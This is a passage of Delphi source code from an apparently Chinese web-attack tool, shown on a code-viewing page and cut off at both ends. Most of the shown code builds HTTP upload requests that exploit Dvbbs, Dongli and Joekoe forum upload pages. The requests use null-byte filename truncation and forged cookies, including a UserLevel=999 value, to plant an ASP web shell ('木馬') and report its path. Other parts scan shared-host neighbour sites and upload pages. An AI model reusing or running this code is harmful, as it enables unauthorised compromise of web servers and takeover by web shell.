?? mainunit.pas
字號:
Result := Result + 'Content-Disposition: form-data; name="file1"; filename="c:\' + MainForm.AspFilePath.Text + #0 + '.exe"' + H
else
Result := Result + 'Content-Disposition: form-data; name="file1"; filename="c:\' + ExtractFileName(MainForm.AspFilePath.Text) + #0 + '.exe"' + H;
end
else
begin {動力上傳類型2}
if MainForm.RadPower2.Checked then
begin
Result := '';
Result := Result + '-----------------------------7d51c732705ec' + H;
Result := Result + 'Content-Disposition: form-data; name="FileName"; filename="C:\a.gif"' + H;
Result := Result + 'Content-Type: text/plain' + H + H;
Result := Result + GetAspFile + H + H;
Result := Result + '-----------------------------7d51c732705ec' + H;
Result := Result + 'Content-Disposition: form-data; name="FileName1"; filename="C:\up.asp "' + H;
Result := Result + 'Content-Type: text/plain' + H + H;
if MainForm.RdDefault.Checked then {如果是默認的asp木馬}
Result := Result + GetAspFile + H + H
else
begin
ASPFile := TStringList.Create;
ASPFile.LoadFromFile(MainForm.AspFilePath.Text);
Result := Result + ASPFile.Text + H + H;
ASPFile.Free;
end;
Result := Result + '上傳' + H;
Result := Result + '-----------------------------7d51c732705ec' + H;
Result := Result + 'Content-Disposition: form-data; name="PhotoUrlID"' + H + H;
Result := Result + '0' + H;
Result := Result + '-----------------------------7d51c732705ec--' + H;
Exit;
end;
end;
end;
if MainForm.Rd_Joekoe.Checked then {如果選中喬客上傳}
Result := Result + 'Content-Disposition: form-data; name="file_name1"; filename="c:\nihao.gif"' + H;
if MainForm.RdCustom.Checked then {如果選中自定義上傳類型 - 開始定義文件字段}
begin
if MainForm.RadFileName.Checked = False then
Result := Result + 'Content-Disposition: form-data; name="' + Trim(MainForm.EdFileField.Text) + '"; filename="c:\diy.' + MainForm.ComBoxType.Text + '"' + H
else
begin
if MainForm.RdDefault.Checked then
Result := Result + 'Content-Disposition: form-data; name="' + Trim(MainForm.EdFileField.Text) + '"; filename="c:\' + Trim(MainForm.AspFilePath.Text) + #0 + '.' + MainForm.ComBoxType.Text + '"' + H
else
Result := Result + 'Content-Disposition: form-data; name="' + Trim(MainForm.EdFileField.Text) + '"; filename="c:\' + ExtractFileName(MainForm.AspFilePath.Text) + #0 + '.' + MainForm.ComBoxType.Text + '"' + H;
end;
end;
Result := Result + 'Content-Type: text/plain' + H + H;
Result := Result + GetAspFile + H;
Result := Result + '-----------------------------7d22f8371b051c' + H;
Result := Result + 'Content-Disposition: form-data; name="fname"' + H + H;
Result := Result + 'D:\Newmm.gif' + H;
Result := Result + '-----------------------------7d22f8371b051c' + H;
Result := Result + 'Content-Disposition: form-data; name="Submit"' + H + H;
Result := Result + '上傳' + H;
Result := Result + '-----------------------------7d22f8371b051c--' + H;
end;
procedure TMainForm.btnUpFileClick(Sender: TObject); {綜合上傳 - 上傳ASP木馬}
const
H = #13#10;
var
Url: string;
begin
if (Trim(EdPostAddr.Text) = '') or (Pos('.', EdPostAddr.Text) = 0) then {判斷地址是否合格}
begin
application.MessageBox('請輸入正確的上傳地址!', '提示', 48);
Exit;
end;
Url := EdPostAddr.Text;
Url := StringReplace(Url, 'http://', '', [rfIgnoreCase]);
if Pos('/', Url) = 0 then
begin
application.MessageBox('請輸入正確的上傳地址!', '提示', 48);
Exit;
end;
try
if RdCustomASP.Checked then {如果選中自選asp木馬}
if FileExists(AspFilePath.Text) = False then {當找不到asp文件的路徑時提示}
begin
Application.MessageBox('找不到文件路徑,請重新選擇你所要上傳的文件!', '錯誤提示', 64);
Exit;
end;
PostShell := ''; {初始化}
ClientSocket1.Close;
ClientSocket1.Host := GetHost(EdPostAddr.Text); {設置主機地址}
ClientSocket1.Port := 80; {設置端口}
if Rd_Dvbbs.Checked then {如果選中動網上傳功能時}
begin
if RdDefault.Checked then {如果選中默認木馬時}
EdShellPath.Text := GetHostDir(EdPostAddr.Text) + '/' + AspFilePath.Text
else
EdShellPath.Text := GetHostDir(EdPostAddr.Text) + '/' + ExtractFileName(AspFilePath.Text);
end // if Rd_Dvbbs.Checked
else
if Rd_FreePower.Checked then {如果選中動力上傳功能時}
begin
if RadPower1.Checked then {如果選中動網上傳功能 - 上傳類型1}
begin
if RdDefault.Checked then {如果選中默認木馬時}
EdShellPath.Text := GetHostDir(EdPostAddr.Text) + '/UploadSoft/' + AspFilePath.Text
else
EdShellPath.Text := GetHostDir(EdPostAddr.Text) + '/UploadSoft/' + ExtractFileName(AspFilePath.Text);
end
else
begin
if RadPower2.Checked then {否則}
EdShellPath.Text := '自己手動查找WEBSHELL路徑!';
end;
end // if Rd_FreePower.Checked
else
if Rd_Joekoe.Checked then
begin
if RdDefault.Checked then
EdShellPath.Text := GetHostDir(EdPostAddr.Text) + '/upload/other/' + AspFilePath.Text
else
EdShellPath.Text := GetHostDir(EdPostAddr.Text) + '/upload/other/' + ExtractFileName(AspFilePath.Text);
end; // if Rd_Joekoe.Checked
PostShell := PostShell + 'POST ' + GetPostPage(EdPostAddr.Text) + ' HTTP/1.1' + H;
PostShell := PostShell + 'Referer: ' + EdPostAddr.Text + H;
PostShell := PostShell + 'Host: ' + GetHost(EdPostAddr.Text) + H;
PostShell := PostShell + 'Content-Length: ' + IntToStr(length(Dv_PostCdoe)) + H; {得到長度}
PostShell := PostShell + 'Cookie: ' + EdtCookies.Text + H + H;
PostShell := PostShell + Dv_PostCdoe + H;
ClientSocket1.Open; {打開}
except end;
end;
procedure TMainForm.ClientSocket1Connect(Sender: TObject; {綜合上傳 - 提交數據包}
Socket: TCustomWinSocket);
begin
Socket.SendText(PostShell); {發送}
end;
procedure TMainForm.ClientSocket1Read(Sender: TObject; {綜合上傳 - 接受服務器返回信息}
Socket: TCustomWinSocket);
begin
Memoinfo.Text := Socket.ReceiveText;
Memoinfo.Perform(WM_VSCROLL, SB_Bottom, 0);
if Pos('成功', Memoinfo.Text) > 1 then
begin
ClientSocket1.Active := False;
application.MessageBox('程序提示:已成功上傳!', '提示', 64);
end;
end;
procedure TMainForm.ClientSocket1Error(Sender: TObject; {綜合上傳 - 處理異常錯誤}
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
if ErrorCode = 11001 then
Application.MessageBox('請確認提交地址是否正確!', '提示', 64);
ErrorCode := 0;
Socket.Close;
ClientSocket1.Active := False;
end;
procedure TMainForm.Rd_DvbbsClick(Sender: TObject); {綜合上傳 - 選擇上傳的類型}
begin
LbShellAddr.Enabled := True;
EdShellPath.Enabled := True;
BtnOpenShell.Enabled := True;
GBPower.Visible := False;
GroupBox4.Visible := False;
Label43.Visible := False;
Label42.Visible := False;
Label36.Visible := False;
ComBoxType.Visible := False;
EdPathField.Visible := False;
EdFileField.Visible := False;
case TRadioButton(Sender).Tag of
0:
begin
LbHint.Caption := '漏洞頁面: http://www.xxx.com/bbs/upfile.asp';
LbUpinfo.Caption := '動網上傳功能介紹: 無需抓包,使用默認Cookies既可直接上傳!若失敗,請自行抓包填寫Cookies!';
EdtCookies.Text := 'iscookies=0;';
end;
1:
begin
GBPower.Visible := True;
LbHint.Caption := '漏洞頁面: http://www.xxx.com/upfile_soft.asp [軟件] http://www.xxx.com/Upfile_SoftPic.asp [圖片]';
LbUpinfo.Caption := '動力上傳功能介紹: 無需抓包,使用默認Cookies既可直接上傳!若失敗,請自行抓包填寫Cookies!';
EdtCookies.Text := 'asp163=Password=49ba59abbe56e057&UserLevel=999&UserName=hackdiy;';
end;
2:
begin
LbHint.Caption := '漏洞頁面: http://www.xxx.com/upload.asp?action=upfile';
LbUpinfo.Caption := '喬客上傳功能介紹: 無需抓包,使用默認Cookies既可直接上傳!若失敗,請自行抓包填寫Cookies!';
EdtCookies.Text := 'joekoe%5Fonline=onlines=1&login%5Fpassword=49ba59abbe56e057&guest%5Fname=&iscookies=yes&login%5Fusername=hackdiy';
end;
3:
begin {選擇自定義上傳時執行}
LbHint.Caption := '';
LbUpinfo.Caption := '自定義上傳功能介紹: 通過手動抓包,自定義路徑字段和自定義文件字段,同時手動填寫Coookies!';
LbShellAddr.Enabled := False;
EdShellPath.Enabled := False;
BtnOpenShell.Enabled := False;
GBPower.Visible := False;
EdShellPath.Clear;
EdtCookies.Clear;
GroupBox4.Visible := True;
Label43.Visible := True;
Label42.Visible := True;
Label36.Visible := True;
ComBoxType.Visible := True;
EdPathField.Visible := True;
EdFileField.Visible := True;
end;
end;
end;
procedure TMainForm.AspFilePathKeyPress(Sender: TObject; var Key: Char); {綜合上傳 - 設置文件名}
begin
if RdDefault.Checked then
begin
if not (key in ['0'..'9', 'a'..'z', 'A'..'Z', '.', #8, #9, #13]) then
key := #0;
end;
end;
procedure TMainForm.AspFilePathButtonClick(Sender: TObject); {綜合上傳 - 打開asp木馬文件}
begin
if RdCustomASP.Checked then {自選asp木馬}
begin
OpenFile.DefaultExt := 'asp';
OpenFile.Filter := 'asp文件 (*.asp)|*.asp|php文件 (*.php)|*.php|cgi文件 (*.cgi)|*.cgi|全部文件 (*.*)|*.*';
if OpenFile.Execute then
AspFilePath.Text := OpenFile.FileName;
end;
end;
procedure TMainForm.SiteListClick(Sender: TObject); {旁注檢測 - 單擊虛擬主機網站}
var
S: string;
begin
if SiteList.Items.Text = '' then Exit;
S := 'http://' + StringReplace(SiteList.Items[SiteList.Itemindex], ' √', '', [rfReplaceAll]);
EdURL.Text := S;
EdOtherSite.Text := S;
end;
procedure TMainForm.SiteListDblClick(Sender: TObject); {旁注檢測 - 瀏覽虛擬主機網站}
var
TmpStr: string;
D: DWORD;
begin
if SiteList.Items.Text = '' then Exit;
PageControl2.TabIndex := 0;
TmpStr := StringReplace(SiteList.Items[SiteList.Itemindex], ' √', '', [rfReplaceAll]);
SiteList.Items[SiteList.Itemindex] := TmpStr + ' √';
EdURL.Text := 'http://' + TmpStr;
EdOtherSite.Text := 'http://' + TmpStr;
Webbrowser1.Navigate(TmpStr);
RzSplitter1.Percent := 89;
LbShowprogress.Caption := '讀取連接地址中...';
BeginThread(nil, 0, @GetAlexa, nil, 0, D); {創建檢測排名的線程}
end;
procedure TMainForm.N3Click(Sender: TObject);
begin
Close;
end;
procedure ExecuteData;
var
TableName: string;
begin
with MainForm do
begin
if RabUpFile.Checked then // 從數據庫中刪除
TableName := 'Scan_UpFile'
else
if RabDefaultData.Checked then
TableName := 'Scan_DefaultData'
else
if RabAdminLogin.Checked then
TableName := 'Scan_AdminLogin';
ADOQuery2.Close;
ADOQuery2.Sql.Text := 'select * from ' + TableName;
ADOQuery2.Open;
end;
end;
procedure TMainForm.BtnInsertClick(Sender: TObject); {掃描上傳頁面 - 插入 & 全選 & 反選 & 導入}
var
s: string;
b: boolean;
begin
try
case TButton(Sender).Tag of
0: begin
s := '';
b := inputquery('添加檢測頁面', '添加頁面 ', s);
if b then
begin
if s[1] <> '/' then
begin
s := '/' + s;
ClbPage.Items.Add(s);
end
else
begin
if Length(s) < 2 then Exit;
ClbPage.Items.Add(s);
end;
ClbPage.ItemIndex := ClbPage.Count - 1; //選中最后一個
ClbPage.Checked[ClbPage.Count - 1] := True;
ExecuteData;
if RabUpFile.Checked then // 自動保存到數據庫里面
ADOQuery2.AppendRecord([nil, S, '用戶添加上傳頁面'])
else
if RabDefaultData.Checked then
ADOQuery2.AppendRecord([nil, S, '用戶添加數據庫'])
else
if RabAdminLogin.Checked then
ADOQuery2.AppendRecord([nil, S]);
end;
end;
1:
begin
if ClbPage.ItemIndex < 0 then
begin
Application.MessageBox('請先選擇你要刪除的頁面!', '提示', 64);
Exit;
end;
ExecuteData;
if Application.MessageBox('你確定要刪除該頁面嗎?', '提示', 32 + MB_YESNO) = 6 then
begin
ADOQuery2.RecNo := ClbPage.ItemIndex + 1;
ADOQuery2.Delete;
ClbPage.DeleteSelected;
end;
end;
end;
except
end;
end;
procedure TMainForm.btnLoadScanSiteClick(Sender: TObject); {掃描上傳頁面 - 載入部分}
var
i: integer;
b: Boolean;
s: string;
begin
case TSpeedButton(Sender).Tag of
0:
begin
if SiteList.Items.Text = '' then {載入查詢網址}
ScanListBox.Items.Text := '沒有發現任何網址,請查詢完畢后再單擊載入!'
else
begin
ScanListBox.Clear;
for i := 0 to SiteList.Count - 1 do
ScanList
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -